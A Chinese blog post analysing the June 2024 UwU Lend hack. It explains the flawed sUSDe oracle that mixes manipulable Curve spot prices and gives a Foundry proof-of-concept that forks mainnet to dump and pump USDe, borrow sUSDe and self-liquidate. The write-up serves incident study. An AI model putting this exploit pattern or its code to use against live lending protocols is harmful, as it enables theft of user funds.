攻击相关基本信息2024年6月10号,UWULend合约被攻击薅走5272枚WETH,约2300w美金。我对这个攻击进行了梳理,并完成了简单的PoC。这个漏洞的本质是预言机价格操纵。
2024年6月10号,UWU Lend合约被攻击薅走5272枚WETH,约2300w美金。我对这个攻击进行了梳理,并完成了简单的PoC。这个漏洞的本质是预言机价格操纵。 漏洞合约代码地址: https://vscode.blockscan.com/ethereum/0xd252953818bdf8507643c237877020398fa4b2e8 攻击交易:
虽然智能合约可以非常轻松的调用其他合约的参数等信息,但是链上环境是很难获取链下信息。比如一个合约如果想获取链下的binance交易所的DAI/BNB价格,以此价格作为链上swap DAI与BNB的价格,就会变的十分困难。预言机就是为了把链下的数据传到链上,然后作为一个合约,被其他合约调用查询数据。 所以预言机的主要责任就是,获取数据,验证数据有效性,上传到链上,等待被查询。 预言机的攻击主要是因为它的数据可能被认为操控,导致给到链上的数据不准确,然后影响到其他defi项目的运行。 比如一个预言机合约A从某交易接口所获取试试DAI/BNB的价格,一个Defi 合约B通过访问预言机读取这个价格来进行链上的exchange。如果这个交易所接口被篡改,黑客就可以控制合约B上的DAI/BNB价格,从而获利
UWU lend在实行borrow逻辑的时候,使用了AAVE预言机查询sUSDE的价格:

AaveOracle的代码如下:
它最终调用了sUSDePriceProviderBUniCatch的getPrice()方法:https://vscode.blockscan.com/ethereum/0xd252953818bdf8507643c237877020398fa4b2e8
  function getPrice() external view override returns (uint256) {
    (uint256[] memory prices, bool uniFail) = _getPrices(true);
    uint256 median = uniFail ? (prices[5] + prices[6]) / 2 : prices[5];
    require(median > 0, 'Median is zero');
    return FullMath.mulDiv(median, sUSDeScalingFactor, 1e3);
  }
  function _getPrices(bool sorted) internal view returns (uint256[] memory, bool uniFail) {
    uint256[] memory prices = new uint256[](11);
    (prices[0], prices[1]) = _getUSDeFraxEMAInUSD();
    (prices[2], prices[3]) = _getUSDeUsdcEMAInUSD();
    (prices[4], prices[5]) = _getUSDeDaiEMAInUSD();
    (prices[6], prices[7]) = _getCrvUsdUSDeEMAInUSD();
    (prices[8], prices[9]) = _getUSDeGhoEMAInUSD();
    try UNI_V3_TWAP_USDT_ORACLE.getPrice() returns (uint256 price) {
      prices[10] = price;
    } catch {
      uniFail = true;
    }
    if (sorted) {
      _bubbleSort(prices);
    }
    return (prices, uniFail);
  }
  function _getUSDeFraxEMAInUSD() internal view returns (uint256, uint256) {
    uint256 price = uwuOracle.getAssetPrice(FRAX);
    // (USDe/FRAX * FRAX/USD) / 1e18
    return (
      FullMath.mulDiv(FRAX_POOL.price_oracle(0), price, 1e18),
      FullMath.mulDiv(FRAX_POOL.get_p(0), price, 1e18)
    );
  }
  function _getUSDeUsdcEMAInUSD() internal view returns (uint256, uint256) {
//同_getUSDeFraxEMAInUSD逻辑
  }
  function _getUSDeDaiEMAInUSD() internal view returns (uint256, uint256) {
//同_getUSDeFraxEMAInUSD逻辑
  }
  function _getCrvUsdUSDeEMAInUSD() internal view returns (uint256, uint256) {
//同_getUSDeFraxEMAInUSD逻辑
  }
  function _getUSDeGhoEMAInUSD() internal view returns (uint256, uint256) {
//同_getUSDeFraxEMAInUSD逻辑
  }


总结一下:根源漏洞是aave预言机获取sUSDE的价格是去查5个币种在curve池子里面与usde的换算价格。每个币种返回2个值,分别是对标USDE的指数价格以及现货价格。现货价格可以被黑客操纵(通过闪电贷大量exchange操纵),所以5个币种返回的10个值,一半都是可以被操纵的,最终操纵了aave预言机返回的sUSDE的值。 问题代码出现在aave预言机,买单的是uwu lend,curve属于被间接利用的吃瓜群众。
搞懂了如何操纵价格,黑客就利用这个价格查开始获利,大概的步骤如下:
因为这个攻击调用的比较多 共7000多次调用,所以只截取关键步骤。
首先黑客套用了7层闪电贷,涉及到aave,morpho blue,balancer,Maker等闪电贷
砸盘操作:砸盘说白了就是把闪电贷里借到的usde在curve池子里换成五种token。这5个token都是精心挑选,被aave oracle用来计算sUSDE的5个币:Frax,USDC,Dai,CrvUSD,Gho
砸盘之后,就需要通过uwu进行借贷。首先借贷需要用户deposit一定的underlying token
Aave默认质押的资产就是用于抵押品:
所以攻击合约就可以开始borrow sUSDE了:
借贷之后,开始抬盘,也就是之前exchange的反向操作。
由于抬盘之前的借贷达到了清算水位线,攻击合约开始清算自己的仓位并获取奖励:
上述就是攻击发生的主要调用。
下面是一个简单的poc,我没有完全复制黑客的步骤,简化了整个过程:


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import  "forge-std/Test.sol";
import "./interface.sol";
contract TestOracle is Test {
        address private constant  Curve_Pool_crvUSD_USDC=0x4DEcE678ceceb27446b35C672dC7d61F30bAD69E;
        address private constant  crvUSD_Token=0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E;
        address private constant DAI_Token=0x6B175474E89094C44Da98b954EedeAC495271d0F;
        address private constant FRAX_Token=0x853d955aCEf822Db058eb8505911ED77F175b99e;
        address private constant GHO_Token=0x40D16FC0246aD3160Ccc09B8D0D3A2cD28aE6C2f;
        address private constant  usdc_Token=0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
        address private constant  aave_oracle= 0xAC4A2aC76D639E10f2C05a41274c1aF85B772598;
        address private constant usde_Token= 0x4c9EDD5852cd905f086C759E8383e09bff1E68B3;
        address private constant sUsde_token=0x9D39A5DE30e57443BfF2A8307A4256c8797A3497;
        address private constant USDecrvUSD=0xF55B0f6F2Da5ffDDb104b58a60F2862745960442;
        address private constant morphoBlue_flashLoan_contract = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;
        address private constant usdeDAI=0xF36a4BA50C603204c3FC6d2dA8b78A7b69CBC67d;
        address private constant FRAXUSDe=0x5dc1BF6f1e983C0b21EfB003c105133736fA0743;
        address private constant GHOUSDe=0x670a72e6D22b0956C0D2573288F82DCc5d6E3a61;
        address private constant USDeUSDC=0x02950460E2b9529D0E00284A5fA2d7bDF3fA4d72;
        address private constant sUSDePriceProviderBUniCatchAddress=0xd252953818bDf8507643c237877020398FA4B2E8;
        address private constant uwuLendingPoolAddress=0x05bfA9157E92690b179033cA2f6dd1e86B25Ea4D;
        address private constant uwuLendingPoolProxyAddress=0x2409aF0251DCB89EE3Dee572629291f9B087c668;
        address private constant wbtcAddress=0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
        address private constant wethAddress=0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    function setUp() external {
        vm.createSelectFork("https://eth.llamarpc.com", 20061322 - 1);
        deal(address(usde_Token), address(this), 5e30);
        deal(address(sUsde_token), address(this), 1e30);
        deal(address(this), 100 ether);
        //deal(address(DAI_Token),address(this),  );
        deal(address(wbtcAddress),address(this), 2e21 );
        deal(address(wethAddress),address(this), 5e24 );
        deal(address(crvUSD_Token),address(this),867622751614490455044553100);
        deal(address(DAI_Token),address(this),1436865073725432400632984800);
        deal(address(FRAX_Token),address(this),4623395634444476091269533900);
        deal(address(GHO_Token),address(this),482460203217140550970463800);
        deal(address(usdc_Token),address(this),1485687872187700);
    }   
    function testOracle() external {
       printOraclePriceOfUsde();
       // 1. 砸盘
       decreaseUsdePrice();
       printOraclePriceOfUsde();
        //2. 开借贷仓位
        InitializableImmutableAdminUpgradeabilityProxy lendingPool = InitializableImmutableAdminUpgradeabilityProxy(payable(uwuLendingPoolProxyAddress));
        //给池子质押两种币:weth和susde。weth会作为抵押品,susde将我会把它借出来,这个池子之前的susde为0,所以我要手动充一点进去。
        uint256 balanceOfusdeIHave=IERC20(sUsde_token).balanceOf(address(this));
        uint256 wethAmountForDeposit=100000000;//318490000000000000000000
        uint256 susdeAmountForDepositAndBorrow=315800000000+5000000000;//1005999999999999999999999999
        IWETH(payable(wethAddress)).approve(uwuLendingPoolProxyAddress,wethAmountForDeposit);
        IERC20(sUsde_token).approve(uwuLendingPoolProxyAddress,susdeAmountForDepositAndBorrow);
        lendingPool.deposit(wethAddress,wethAmountForDeposit,address(this),0);
        lendingPool.deposit(sUsde_token,susdeAmountForDepositAndBorrow,address(this),0);
        //把susde设置为:不可作为抵押品。因为等下我就是要借这个susde出来,如果susde即作为抵押品,又作为借出品,算起来会很混乱。
        lendingPool.setUserUseReserveAsCollateral(sUsde_token,false);
        uint256 balance=IERC20(sUsde_token).balanceOf(0xf1293141fC6ab23b2a0143Acc196e3429e0B67A6);
        lendingPool.borrow(sUsde_token,susdeAmountForDepositAndBorrow,2,0,address(this));
       //这里打印下未抬盘前的债务健康情况
        (uint256 totalCollateralETH1,uint256 totalDebtETH1,uint256 availableBorrowsETH1,uint256 currentLiquidationThreshold1,uint256 ltv1,uint256 healthFactor1)=lendingPool.getUserAccountData(address(this));
        console.log("totalCollateralETH1",totalCollateralETH1);
        console.log("totalDebtETH1",totalDebtETH1);
        console.log("availableBorrowsETH1",availableBorrowsETH1);
        console.log("currentLiquidationThreshold1",currentLiquidationThreshold1);
        console.log("ltv",ltv1);
        console.log("healthFactor",healthFactor1);
        // 3. 抬盘
        increaseUsdePrice();
        printOraclePriceOfUsde();
        // 4. 清算自己的仓位获得奖励
        //这里打印下抬盘后的债务健康情况
        (uint256 totalCollateralETH,uint256 totalDebtETH,uint256 availableBorrowsETH,uint256 currentLiquidationThreshold,uint256 ltv,uint256 healthFactor)=lendingPool.getUserAccountData(address(this));
        console.log("*************************");
        console.log("totalCollateralETH1",totalCollateralETH);
        console.log("totalDebtETH1",totalDebtETH);
        console.log("availableBorrowsETH1",availableBorrowsETH);
        console.log("currentLiquidationThreshold1",currentLiquidationThreshold);
        console.log("ltv",ltv);
        console.log("healthFactor",healthFactor);
        IERC20(sUsde_token).approve(uwuLendingPoolProxyAddress,type(uint256).max);
        lendingPool.liquidationCall(wethAddress,sUsde_token,address(this),102905129855320898832593836,true);
    } 
    //砸盘方法
    function decreaseUsdePrice() internal {
        // 把一部分usde换成crvUSD
        IERC20(usde_Token).approve(USDecrvUSD,8730217337982457609941891);
        //我是真的不知道为什么exchange这个数8730217337982457609941891就能把价格砸的最低。
        //试了好多数,比如池子里usde的数量,池子里crvUSD的数量,但是还是黑客的数最有效。
        //黑客应该是个数学家。
        CurveStableSwapNG(USDecrvUSD).exchange(0,1,8730217337982457609941891,0,address(this));
      // 把一部分usde换成DAI
        IERC20(usde_Token).approve(usdeDAI,14457209551812563734628576);
        CurveStableSwapNG(usdeDAI).exchange(0,1,14457209551812563734628576,0,address(this));
        // 把一部分usde换成FRAX
        IERC20(usde_Token).approve(FRAXUSDe,46577065184558291279687420);
        CurveStableSwapNG(FRAXUSDe).exchange(1,0,46577065184558291279687420,0,address(this));
       // 把一部分usde换成GHO
        IERC20(usde_Token).approve(GHOUSDe,4924787269911726035563289);
        CurveStableSwapNG(GHOUSDe).exchange(1,0,4924787269911726035563289,0,address(this));
           // 把一部分usde换成usdc
        IERC20(usde_Token).approve(USDeUSDC,15032389024791928694903584);
        CurveStableSwapNG(USDeUSDC).exchange(0,1,15032389024791928694903584,0,address(this));
    }
    //抬盘方法
    function  increaseUsdePrice() internal {
        // 把crvUSD 换成usde
        uint256 crvUseBalance=IERC20(crvUSD_Token).balanceOf(address(this));
        //console.log(crvUseBalance);
        IERC20(crvUSD_Token).approve(USDecrvUSD,crvUseBalance);
        CurveStableSwapNG(USDecrvUSD).exchange(1,0,crvUseBalance,0,address(this));
       // 把DAI换成usde
        uint256 daiBalance=IERC20(DAI_Token).balanceOf(address(this));
        //console.log(daiBalance);
        IERC20(DAI_Token).approve(usdeDAI,daiBalance);
        CurveStableSwapNG(usdeDAI).exchange(1,0,daiBalance,0,address(this));
        // 把FRAX换成usde
        uint256 FraxBalance=IERC20(FRAX_Token).balanceOf(address(this));
        //console.log(FraxBalance);
        IERC20(FRAX_Token).approve(FRAXUSDe,FraxBalance);
        CurveStableSwapNG(FRAXUSDe).exchange(0,1,FraxBalance,0,address(this));
        // 把GHO换成usde
        uint256 GhoBalance=IERC20(GHO_Token).balanceOf(address(this));
        //console.log(GhoBalance);
        IERC20(GHO_Token).approve(GHOUSDe,GhoBalance);
        CurveStableSwapNG(GHOUSDe).exchange(0,1,GhoBalance,0,address(this));
        // 把usdc换成usde
        uint256 UsdcBalance=IERC20(usdc_Token).balanceOf(address(this));
        //console.log(UsdcBalance);
        IERC20(usdc_Token).approve(USDeUSDC,UsdcBalance);
        CurveStableSwapNG(USDeUSDC).exchange(1,0,UsdcBalance,0,address(this));
    }
    function printOraclePriceOfUsde() internal {
        //uint256 price1=IPriceOracleGetter(aave_oracle).getAssetPrice(sUsde_token);
        uint256 price=sUSDePriceProviderBUniCatch(sUSDePriceProviderBUniCatchAddress).getPrice();
        console.log("************sUsde price is  ",price);
    }
}
写的比较好的英文文章:https://neptunemutual.com/blog/understanding-the-uwu-lend-exploit/ 写的最快的慢雾文章:https://mp.weixin.qq.com/s/mcCNO6IwaI-L1Aj1VRBi2w AAVE开发文档:https://docs.aave.com/developers/guides/liquidations
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!